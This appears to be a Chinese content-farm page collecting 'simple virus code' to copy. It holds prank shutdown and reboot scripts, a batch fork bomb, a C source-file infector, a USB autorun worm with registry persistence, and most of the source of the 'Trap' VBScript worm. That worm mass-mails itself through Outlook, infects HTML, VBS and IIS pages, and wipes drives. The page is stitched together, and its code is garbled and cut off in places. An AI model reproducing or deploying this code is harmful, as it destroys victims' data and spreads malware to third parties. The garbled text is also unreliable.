简单的病毒编程代码复制(简单病毒代码编写)
恶搞电脑病毒代码有哪些
有时候想和朋友们玩玩,搞点恶搞电脑病毒给他们,要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
恶搞电脑病毒代码介绍一:
首先在电脑上新建一个TXT文档
然后把下面这段代码输入进去
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你关机,不信,试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机,快点,说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
然后保存
然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀,
你要修改为.VBS的后缀
恶搞电脑病毒代码介绍二:
新建一个文本文档,然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片,如果对方有邮箱,就发给他
他一打开就会出现你插入的图片,然后出现 蓝屏 (效果7—10分钟)(注:做好病毒后不要打开,否则会出现以上说的情况)
恶搞电脑病毒代码介绍三:
新建一个文本文档(.txt),要复制以下代码:
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告:在病毒执行期间禁止关闭电源,
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒,在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。"
::结束
再另存为:名字.bat 你要记住"名字"后面要加".bat"
就可以了,没有任何破坏性,吓吓人。
你可以试试看看效果。
比较简单的C++病毒代码
/*亲自验证,不到30秒电脑卡死!运行后做好关机准备*/
/*留下您的赞再拿走,谢谢*/
/*源代码:*/
//////////////////////////////////////////////////
#include?Windows.h
#include?iostream
#include?fstream
using?namespace?std;
int?main()
{
char?a[9]?=?"abc.bat";
ofstream?file_out(a);
file_out"%0|%0";
file_out.close();
system(?a?);
return?0;
}
求简单的病毒代码
本代码尽管测试,无任何危险。病毒文件测试代码。使用方法如下:
This is not a real virus. It is a text file that is used to test antivirus software.
测试代码:
---------------------请复制下面的代码到文本中保存-------------------
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
---------------------请复制上面的代码到文本中保存-------------------
测试方法:
1.鼠标右键点击桌面空白处,创建一个“文本文档”。(什么,还不会建?我倒)
2.将下面这段测试代码复制到“文本”里,保存,然后可以直接右键点击这个文本,用杀毒软件扫描(图1)。也可以等一会,如果你的杀毒软件还行,会自动报毒并将该文本删除,那就可以初步放心了。
测试原理:
该段代码是欧洲计算机防病毒协会开发的一种病毒代码,其中的特征码已经包含在各种杀毒软件的病毒代码库里,所以可以用做测试病毒扫描引擎。
测试等级:
特等:复制完代码后便提示内存有病毒
优等:刚保存完就提示病毒(或者直接删除)
中等:保存后几秒提示病毒(或者直接删除)
下等:需自己启动病毒扫描查杀才提示病毒(或者直接删除)
劣等:无论怎么扫描都无法提示病毒(或者直接删除)
怎么编写病毒程序
问题一:如何编写程序病毒? 那首先要对系统底层的东西比较熟悉,如果编网络病毒,还要对网络协议很了解。并且要精通至少一门编程语言,一般写病毒用a *** (汇编语言)的比较多,用其他也可以,比如vbs(vb脚本语言)或者.bat的海处理,都可以。如果写unix 类系统的病毒用c语言的多一些。但汇编知识是写高级病毒必须的知识。
问题二:如何写一个简单的病毒程序? 前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了。但是我现在学了入门才发现这门技术实际上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无法达到“牛”的境界上去。如今写了这篇文章,介绍的都是相当实用的东西,可以让你少走许多弯路(有时侯一个错误够你找几个小时的)。不过需要些基础知识才能看懂。假如你有天知识储备够了,不学学病毒将是你的遗憾。另,由于是写给协会会员参考的,也没写的多“专业”,多了些赘述。
在你看之前,你应该知道这只是篇可以带你入门的文章,如果你已经会了就不用看了。看的时候最好准备个PE表在旁边。写病毒程序可以使用很多种语言来写比如C,汇编,甚至有人用Dephi这样可视化编程工具都能写出来。但是最适合写病毒程序的还是汇编语言。汇编语言底层,灵活,速度快,体积小的优势能将一个病毒程序发挥到极至,通常一个程序写出来才几千字节就包含了所有的功能。一般一个病毒都有如下几个功能:
一 代码重定位
二 自己找到所需API地址
三 搜索文件、目录
四 感染文件
五 破坏系统或文件(随便你了)
其中一,二项功能是必要的,五项功能是可选的。而一个病毒程序感染文件的功能是它的核心,是衡量它质量的重要标准。
(一)代码的重定位
一个变量或函数其实是一个内存地址,在编译好后,程序中的指令通过变量或函数的内存地址再去存取他们,这个地址是个绝对地址。如果你将代码插入到其他任何地方,再通过原来编译时产生的地址去找他们就找不到了,因为他们已经搬家了。但是,你在写程序时考虑到这个问题,你就可以在代码最开始,放上几行代码取得程序基地址,以后变量和函数作为偏移地址,显式的加上这个基地址就能顺利找到了,这就是重定位。就象这段代码。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏汇编语言写病毒,请尽量使用ebx做基地址指针,不要使用ebp,因为ebp在调用带参数的函数时会改变。
(二)自己取得所需的API地址
一个win32程序文件,所调用的API函数地址,是由系统填入到程序文件中描述各类数据位置的数据结构中的。而病毒作为一个残废是享受不到这个待遇的。因为你在把病毒的代码插入目标程序时没有把这些描述数据存放位置的数据结构信息也弄进去。它 *** 入到其他目标程序后就成了只有代码的残废儿童:(所以作为一个残废儿童,应当自力更生。自己搜寻自己需要的API地址。目标程序文件就包含了我们需要的东西,我们需要自己去找。目标程序文件只要还是win32程序,它的地址空间中就包含的有Kernel32.dll。如果找到了它,我们就能找到其他任何的东东。第一步,搜寻kernel32.dll的基地址。当然了,整个地址空间有4GB,可供搜索的用户进程空间也有2GB。在2GB中搜索,太吓人了。总不能在执行被感染的目标程序时,先让用户喝杯茶吧?或者斗斗地主?这里有两个技巧向大家介绍。
在程序被加载后,加载程序会调用程序的主线程的第一条指令的位置。它使用的指令是CALL,就是说,你程序还没执行,堆栈区里就有了一个返回地址了,这个返回地址指向的是加载程序,而加载程序是包含在KERNEL32.dll中的,我们顺着它向上找,就能找到kernel32.dll的基地址了。当然也不是一个字节一个字节的挨者找,而是一个页面一个页面地找。因为win3......
问题三:怎么用C语言写个简单病毒,给个代码过程 首先声明:
本程序是我举的一个例子
为了叫大家理解就可以了
如果大家拿去捉弄人,我不负任何责任!
希望大家要以学习为重!
对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的
我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享
不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定
用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,
再次声明这一切全是为了编程研究!!!
病毒的特点:
病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式
病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。
从程序的角度来说,我们要做的事情有两件:
1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,
使它具备继续复制的能力。
2,在一定条件下使其产生某种发作效果。
其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染
文件的最后,同时在被感染文件中调用这个函数
下面给出c语言的实现过程:
1,主程序调用病毒功能函数
2,病毒功能函数读取查找同目录下所有c文件;
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
这样一个简单的c语言伪病毒virus.c就完成了
运行程序后其内容变化另保存为after_virus.c
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果
他们一运行又感染了他们保存1.c文件目录下所有c文件
对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,ffblk,0);
while (!done)
{
i=0;
if ((in = fope......
问题四:病毒一般用什么语言编写的? 由于现在大多数的所谓的黑客都没有真正的技术,他们的木马都是利用别人编写的木马生成程序生成的,只要一点就好了!~~现在流行的木马有VB、E语言、pascal(注意Delphy不是一门语言,而是pascal语言的编辑器,就像C++跟VC++之间的关系)等,大量用他们编写的原因并不是他们有多好,只不过是他们简单易学!所以只要你有技术,用什么程序写不重要,条条大路通罗马!
问题五:怎样编写简单,对系统无害的病毒文件? 双击这个文件后就会关机,无毒无害。
这是代码:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那个0是打开这个文件后多少秒关机(0就是立即关机,10就是打开文件10秒后关机), 引号中的字(Loading Installation,Please Wait...)可以随意更改(只是引号里面的,别把引号给删了)。
问题六:怎样编写病毒 3.1.1病毒程序VIRUS.C
这是一个用C语言写的病毒程序,当激发病毒程序时显示时间,然后返回。病毒程序VIRUS.C可将病毒传染给一个C语言程序。当被病毒感染的程序经编译、连接和执行后,又可以将病毒部分传染给其他的C语言源程序。每执行一次带有病毒的C语言程序,就向C语言源程序传播一次病毒。此程序的设计思路如下:
当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上找扩展名为C的匹配文件,如果找到,查找是否有被传染过的标志“INFECTED”。如果有此标志,继续找其它的C文件,直至全部检查一遍。若没有这个标志,则
(1)在未被感染的C程序头部加入“INFECTED”已被传染标志。
(2)读取病毒文件的头文件,将其插入到即将被感染的文件头部。如果发现有重复则不插入。
(3)在主程序中插入“VIRUSES();”调用VIRUSES函数。寻找printf、for、while、break语句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到将感染文件里面的VIRUSES_SUB子程序里面,必须把文件名改为当前自身的文件名,否则被传染后的文件经过编译、连接和运行后不能再继续传染。
(6)最后插入VIRUSES子程序。这个子程序里面调用了VIRUSES_SUB,执行到这里返回执行结果信息。
其中用到4个出错的返回值,分别是:
1:用户文件太大,不传染;
2:带病毒文件打不开,不传染;
3:带病毒文件读取不成功,不传染;
4:查找第一个匹配文件不成功。
如果返回值是0代表文件传染成功。
具体实现过程如下:
其中用到的函数和结构体用法参考3.3节。
首先导入病毒子程序要用到的三个库文件,分别是dir.h, stido.h, dos.h.在主函数里面只调用VIRUSES函数。紧跟定义VIRUSES函数里面要调用的VIURS_SUB函数。里面定义了若干个变量。ffblk用来保存查找到的匹配文件的信息,用到里面的ff_name变量来保存匹配文件名。
然后定义保存未感染的文件和病毒文件的文件型指针变量,分别用是*virus_r和*virus_v.读取文件的缓冲区,放到二维数组a[500][80]里面临时存放。因为此程序对大于500行的C文件不进行传染,所以完全可以放到里面。首先用getdate函数获取系统当前日期并输出。接着用findfirst函数查找扩展名为C的文件,将其信息保存到ffblk里面。用fgets函数读文件的第一行,长度是80-1个字符。然后用strstr函数检测病毒的标志,看文件是否有INFECT这个标志。
如果有,表示文件已经被传染,关闭文件,不进行传染。当含有病毒部分的程序被执行时,首先进入病毒程序。它在磁盘上查找*.C的匹配文件,一旦找到,查找“已被传染过”的标志INFECTED。若有此标志,继续找其它*.C文件,直至全部检查一遍。
如果没有这个标志,将文件全部读入a[500][80],如果发现文件超过500行,不传染,返回。将文件指针指向文件头,打开带病毒的文件。如果打不开,返回。
然后读取带病毒文件的前4行,也就是病毒子程序要用到的头文件,写入将被传染的文件。若不能读取带病毒文件,返回。用n_line变量控制行数,把将被传染文件的源程序写回原文件。其中要进行处理不写入病毒文件已有的包含语句,也就是说使#Include语句不重复。
这点是这样实现的:定义一个字符数组char include_h[]=; strstr函数查看将被传染文件的头文件是否和*include_h[]相同,如果相同,......
问题七:怎么用C语言编写木马.病毒等程序 嘿嘿给你个类病毒C程序源码,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,rb))!=NULL) ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......
问题八:怎么编辑木马病毒程序 很高兴为您解答:
制作并且传播木马都是违法行为,况且在你制作的时候可能会有人利用这漏洞对你的电脑产生危害,到时候就得不偿失拉
建议下其他腾讯电脑管家,开启所有防护,避免有人利用病毒或是木马来危害新的电脑以及帐号的全全
1、腾讯电脑管家独有的二代反病毒引擎,防护查杀更彻底
2、腾讯电脑管家拥有全球最大的云库平台,能更好的识别诈骗、钓鱼网站
3、腾讯电脑管家独创鹰眼模式,时刻保护您的爱机不受侵害
4、腾讯电脑管家独有的安全等级,您可以时刻查看你爱机的安全状态
5、新增广告过滤功能,有效减轻广告骚扰。
祝楼主祝您工作、生活愉快!!
问题九:病毒的编写是用的什么原理? 在计算机领域中,它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
二、木马原理
[编辑本段]
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
【一、基础知识 】
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。
【二、传播木马】.
(1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方......
问题十:有源代码,怎样编写病毒程序? 您好:
建议您不要编写或使用病毒程序,病毒程序会对您的电脑造成损害的,如果您曾使用过此类不安全的病毒程序的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载
腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/
给个C语言病毒代码.....要复制的....越长越好
下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) ’白宫相关人员邮件名单
whb(0) = "president@whitehouse.gov"
whb(1) = "vice.president@whitehouse.gov "
whb(2) = "first.lady@whitehouse.gov"
whb(3) = "mrs.cheney@whitehouse.gov"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
if getErr then '辨认病毒状态
Randomize '初始化随机种子
ra = int(rnd() * 7) '产生随机数
doucment.write title(ra) ' 写随机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 页状态时的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码
Js_Str = GetJavaScript() ' 得到 Javascript 代码
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码
Gf
'定义病毒文件的路径
wdsf = w2 "Mdm.vbs"
wdsf2 = w1 "Profile.vbs"
wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人
wdf2 = w2 "Readme.html"
wdf3 = w2 "system.dll"
'创建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注册表,让病毒文件在每一次计算机启动自动执行
Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 执行发送邮件程序
Hackpage ' 执行感染网站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘
call SearchHTML(x "\") '执行文件感染程序
end if
next
if TestUser then '检查用户
Killhe 执行删除文件操作
else
if Month(Date) Day(Date) = "75" then '如系统时间为 7月5日
set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’创建系统攻击文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自动启动
window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)
else '如不是7.5
if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 删除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '邮件状态时执行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '创建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 时所执行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系统路径
w1=fso.GetSpecialFolder(0) "\"
w2=fso.GetSpecialFolder(1) "\"
end sub
function Readreg(key_str) '读注册表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '写注册表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _
"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _
"" "/BOAD" "/HTML"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _
"jword" "+'\n/'" "+'SCRIPT');"
DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _
"nword" "+'\n/'" "+'SCRIPT');"
MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _
chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _
chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _
"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"
else
MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"
end if
end function
function GetScriptCode(Languages) ' 得到不同脚本语言的代码
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text) 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '检测用户过程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用户关键词
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '创建网络对象
'下面一共3个循环,作用一样,是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回”真”的条件,从而对这些用户的文件进行疯狂删除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) 0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '发送文件过程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件
主题是随机的,此过程与“欢乐时光“类似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW eins, Eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送
end function
sub SearchHTML(Path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) 0 then exit sub
if Path "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染,如未被感染则将已加密的病毒代码插入文件头,这样文件一旦执行也会执行病毒代码,而且不会影响原文件的正常执行。
if Code_Str"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,则插入未加密的病毒代码
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盘删除文件过程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" vbcrlf "PATH " w1 "COMMAND" vbcrlf _
"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中,下次开机时,删除整个硬盘,并没有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf codeText
ko.Close
'接着立刻删除其它盘的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判断是否为网站,如是则将已加密的带病毒代码插入文件头,从而直接传染浏览该网站的用户
set fi = fso.GetFile(H "\index.htm")
AddHead H "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
